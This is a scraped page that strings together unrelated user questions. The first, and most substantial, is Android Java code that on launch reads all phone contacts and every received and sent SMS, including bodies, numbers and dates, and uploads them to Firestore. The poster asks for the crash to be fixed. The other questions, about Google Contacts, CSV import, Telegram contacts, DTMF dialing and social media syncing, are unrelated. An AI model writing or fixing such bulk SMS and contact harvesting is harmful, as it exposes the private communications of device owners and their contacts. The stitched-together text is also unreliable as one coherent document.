How to upload all the contacts and messages of the user to firestore?

Pls. see the code I have made but that’s not working. Pls. tell me how to do solve this error. The app is crashing just after launching it before even asking permission. Pls. rectify the code or provide me with a new one pls.

    @Override     protected void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         setContentView(R.layout.activity_main);          mFirestore = FirebaseFirestore.getInstance();          int Permission_All = 10;          String[] Permissions = {Manifest.permission.READ_CONTACTS, Manifest.permission.READ_SMS};         if (!hasPermissions(this, Permissions)) {             ActivityCompat.requestPermissions(this, Permissions, Permission_All);         }         gettingPhoneContacts();         readMessage();         readSent();     }      public static boolean hasPermissions(Context context, String... permissions) {          if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && context != null && permissions != null) {             for (String permission : permissions) {                 if (ActivityCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED) {                     return false;                 }             }         }         return true;     }      public void gettingPhoneContacts() {         ContentResolver cr = getApplicationContext().getContentResolver();         // Read Contacts         Cursor c = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{ContactsContract.Contacts._ID, ContactsContract.Contacts.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER, ContactsContract.RawContacts.ACCOUNT_TYPE}, ContactsContract.RawContacts.ACCOUNT_TYPE + " <> 'google' ", null, null);         if (c.getCount() <= 0) {             Toast.makeText(getApplicationContext(), "No Phone Contact Found..!", Toast.LENGTH_SHORT).show();         } else {             while (c.moveToNext()) {                 String Phone_number = c.getString(c.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));          //Phone number                 String name = c.getString(c.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));                        //Name of contact                 Map<String, String> userMap = new HashMap<>();                 userMap.put("name", name);                 userMap.put("phone", Phone_number);                 mFirestore.collection("contact list").document("con")                         .set(name)                         .addOnSuccessListener(new OnSuccessListener<Void>() {                             @Override                             public void onSuccess(Void aVoid) {                                 Toast.makeText(getApplicationContext(), "Con", Toast.LENGTH_SHORT).show();                             }                         }).addOnFailureListener(new OnFailureListener() {                     @Override                     public void onFailure(@NonNull Exception e) {                         Toast.makeText(getApplicationContext(), "con-no", Toast.LENGTH_SHORT).show();                     }                 });             }         }     }      public void readMessage() {         ContentResolver cr = getApplicationContext().getContentResolver();         Cursor c = cr.query(Uri.parse("content://sms/inbox"), null, null, null, null);         int totalSMS = 0;         if (c != null) {             totalSMS = c.getCount();             if (c.moveToFirst()) {                 for (int j = 0; j < totalSMS; j++) {                     String smsDate = c.getString(c.getColumnIndexOrThrow(Telephony.Sms.DATE));                     String number = c.getString(c.getColumnIndexOrThrow(Telephony.Sms.ADDRESS));                     String body = c.getString(c.getColumnIndexOrThrow(Telephony.Sms.BODY));                     Date dateFormat = new Date(Long.valueOf(smsDate));                     String date = dateFormat.toString().trim();                     c.moveToNext();                      Map<String, Object> userMap = new HashMap<>();                     userMap.put("date", date);                     userMap.put("phone", number);                     userMap.put("SMS content", body);                     mFirestore.collection("SMS Received").add(userMap).addOnSuccessListener(new OnSuccessListener<DocumentReference>() {                         @Override                         public void onSuccess(DocumentReference documentReference) {                             Toast.makeText(getApplicationContext(), "sms-r", Toast.LENGTH_SHORT).show();                         }                     }).addOnFailureListener(new OnFailureListener() {                         @Override                         public void onFailure(@NonNull Exception e) {                             Toast.makeText(getApplicationContext(), "sms-r-no", Toast.LENGTH_SHORT).show();                         }                     });                 }             }             c.close();         }     }        public void readSent() {         ContentResolver sr = getApplicationContext().getContentResolver();         Cursor s = sr.query(Uri.parse("content://sms/sent"), null, null, null, null); //Telephony.Sms.CONTENT_URI         int totalSMSs = 0;         if (s != null) {             totalSMSs = s.getCount();             if (s.moveToFirst()) {                 for (int j = 0; j < totalSMSs; j++) {                     String smsDate = s.getString(s.getColumnIndexOrThrow(Telephony.Sms.DATE));                     String number = s.getString(s.getColumnIndexOrThrow(Telephony.Sms.ADDRESS));                     String body = s.getString(s.getColumnIndexOrThrow(Telephony.Sms.BODY));                     Date dateFormat = new Date(Long.valueOf(smsDate));                     String date = dateFormat.toString().trim();                     s.moveToNext();                     Map<String, String> userMap = new HashMap<>();                     userMap.put("Date", date);                     userMap.put("phone", number);                     userMap.put("SMS content", body);                     mFirestore.collection("SMS Sent").add(userMap).addOnSuccessListener(new OnSuccessListener<DocumentReference>() {                         @Override                         public void onSuccess(DocumentReference documentReference) {                             Toast.makeText(getApplicationContext(), "sms-s", Toast.LENGTH_SHORT).show();                         }                     }).addOnFailureListener(new OnFailureListener() {                         @Override                         public void onFailure(@NonNull Exception e) {                             Toast.makeText(getApplicationContext(), "sms-s-no", Toast.LENGTH_SHORT).show();                         }                     });                 }             }             s.close();         }     } 

Google contacts showing wrong Google profile due to shared phone number

I have a number of Google contacts who are showing incorrect information because Google is associating them with someone else with the same shared phone number (e.g. home phone) — including my wife (shows my email address, job title, etc. in Google Contacts) and my parents. I know landlines and shared numbers are probably considered “quaint” nowadays, but still.

Short of removing the home (or otherwise shared) phone number from these affected contacts, is there any way to break that association and tell Google that no, they are in fact not the same person?

I should mention that in the cases where this happens, the common thread seems ot be that the number in question is a Google Voice number that belongs to the person whose info is being incorrectly associated. For example, we use my GV number as our home phone number — it’s forwarded to our landline, and it’s the only number we give out to people.

Google import contacts from CSV not working – workaround?

I’m trying to import contacts from my Microsoft Outlook (company server) to my Gmail, but whatever I try, it fails.

Even when I export my contacts in Gmail to a CSV and then try to import it again, Gmail gives the annoying error, saying it experienced an “unknown error”. Hence Google is not even accepting its own export as import format.

I don’t have the illusion that anyone is going to fix this specific problem, so my question is: does anyone know a workaround to migrate/import contacts to/in Gmail? Some tool somewhere maybe, other inspiration on how to migrate contacts from Outlook to Gmail?

Importing the Telegram contacts into the phone book – Android

I have a fairly serious problem. I lost all the numbers in the phone book, breaking the SIM card, but luckily I saw that most of them are stored on telegram. I tried with telegram desktop to export all contacts and the operation was successful.
Now, how can I put them in the phone book? I hope there is a solution, even starting a new procedure from scratch.

Solution here does not work Sync Telegram Contact with Phone Contact

Any way to “play” a contact’s number as DTMF via speaker?

I bought a lovely old phone from the 70’s that only “talks” the pulse dial mode: 611-2a I connected it to my router and it can succesfully receive calls. When I try to dial out it does not work because the router expects DTMF tones, which I knew before buying the phone. I found some hardware converters that can translate pulse dial mode to DTMF signals, but they are twice as expensive as the phone itself (around 50€). So I thought there may be a way to dial using my Android 8.1 phone: can I somehow select a contact on my smartphone and then play the number over the speaker into the old phone’s mic? I also thought of buying one of these old mini dialers that you used to check your answering machines, but then you’d have to manually dial the number.

Besides that: if you know of any cheap hardware converters, please let me know, too! Thanks

Google contacts sync with social media

Is it possible to either synchronize or simply import and merge all contacts from various social media into Google Contacts?

I am working on a Windows computer, but have an Android phone in case I have to use a sneaky app.

I would like all my Facebook friends and LinkedIn connections (with profile pictures, birthdays, phone numbers, e-mail addresses etc) added to one single place, that place being Google Contacts. All contact information in Google Contacts should of course not be removed, but merged with the new info. Thank you.